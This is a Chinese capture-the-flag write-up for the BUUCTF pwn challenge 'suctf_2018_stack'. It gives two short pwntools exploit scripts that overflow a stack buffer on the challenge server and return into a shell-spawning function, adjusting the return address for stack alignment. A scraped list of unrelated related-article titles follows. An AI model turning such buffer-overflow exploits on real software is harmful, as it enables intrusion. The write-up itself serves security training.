[BUUCTF-pwn]——suctf_2018_stack

  • 题目地址:https://buuoj.cn/challenges#suctf_2018_stack

什么保护都没开

在IDA中一查看,发现有点简单太简单了.本来刚开始以为溢出空间不够只有两个地址,一个epb, 一个返回地址, 可是结果仅仅返回地址就可以了



exploit

from pwn import *
p = remote('node3.buuoj.cn',29819)leave_ret = 0x0000000000400732
pop_rdi_ret = 0x00000000004007a3
ret_addr = 0x0400676
payload = 'a' * (0x20 + 8) + p64(ret_addr)
p.send(payload)
p.interactive()

结果发现想的有点简单, 这道题检查的其实是栈平衡的问题,因为是Ubuntu18
所以我们稍微改一次就好

exploit

from pwn import *
p = remote('node3.buuoj.cn',29819)leave_ret = 0x0000000000400732
pop_rdi_ret = 0x00000000004007a3
ret_addr = 0x0400677 #0x0400678也是可以的,只要使得栈上少一个或者多一个数据就OK了
payload = 'a' * (0x20 + 8) + p64(ret_addr)
p.send(payload)
p.interactive()

[BUUCTF-pwn]——suctf_2018_stack相关推荐

  1. BUUCTF(PWN)suctf_2018_stack

    from pwn import * p = remote('node3.buuoj.cn',29039) ret_addr = 0x0400677 payload = 'a' * (0x20 + 8) ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. linux内核报告,Linux升级内核报告.docx
  2. 两个函数彻底理解Lua中的闭包
  3. SpringCloud学习2-Springboot监控模块(actuator)
  4. Java中常用的测试工具JUnit
  5. JAXB –表示空集合和空集合
  6. 双酚基CE树脂行业调研报告 - 市场现状分析与发展前景预测
  7. 【NOIP2005】【Luogu1052】过河
  8. 5.Kong入门与实战 基于Nginx和OpenResty的云原生微服务网关 --- Kong 的配置详解
  9. 35. PHP 字符串
  10. 2021牛客寒假算法基础集训营1 C 无根树问题的处理策略 前序后序遍历 奇偶匹配 DFS
  11. 蓝桥杯真题 18省4-测试次数 x星球的居民脾气不太好,但好在他们生气的时候唯一的异常举动是:摔手机。 各大厂商也就纷纷推出各种耐摔型手机。x星球的质监局规定了手机必须经过耐摔测试,并且评定出一个耐
  12. 解密阿里云安全女程序员维棠 、牵尘代码诗!
  13. Unity3D绘制两圆柱体相贯线
  14. vmware挂载磁盘脱机解决方案
  15. 当C++遇到空指针异常......
  16. 【渝粤教育】电大中专跨境电子商务理论与实务 (13)作业 题库
  17. 使用 GNU gettext 实现国际化
  18. 《初级会计实务》考试学习分享之第八章 ——政府会计基础【考试大纲】
  19. 用计算机名搜不到共享打印机,win7电脑共享了打印机,但是别的电脑却搜不到。...
  20. 吵架公约,我不在担心婚后。

热门文章

  1. 30分钟正则表达式入门
  2. sql2005新增排序方法
  3. SQL中条件和比较关键字Case的使用方法(case的结果就是得到了一个值)
  4. 牛客网(剑指offer) 第十四题 链表中倒数第k个节点
  5. SQL注入1-5_cookie基于base64的注入
  6. [LeetCode] Binary Tree Level Order Traversal 二叉树层次遍历(DFS | BFS)
  7. 《每日一题》738. Monotone Increasing Digits 单调递增的数字
  8. Django使用Mysql时数据库配置
  9. 【MFC】工具栏左侧双线效果
  10. 【Linux】一步一步学Linux——clear命令(241)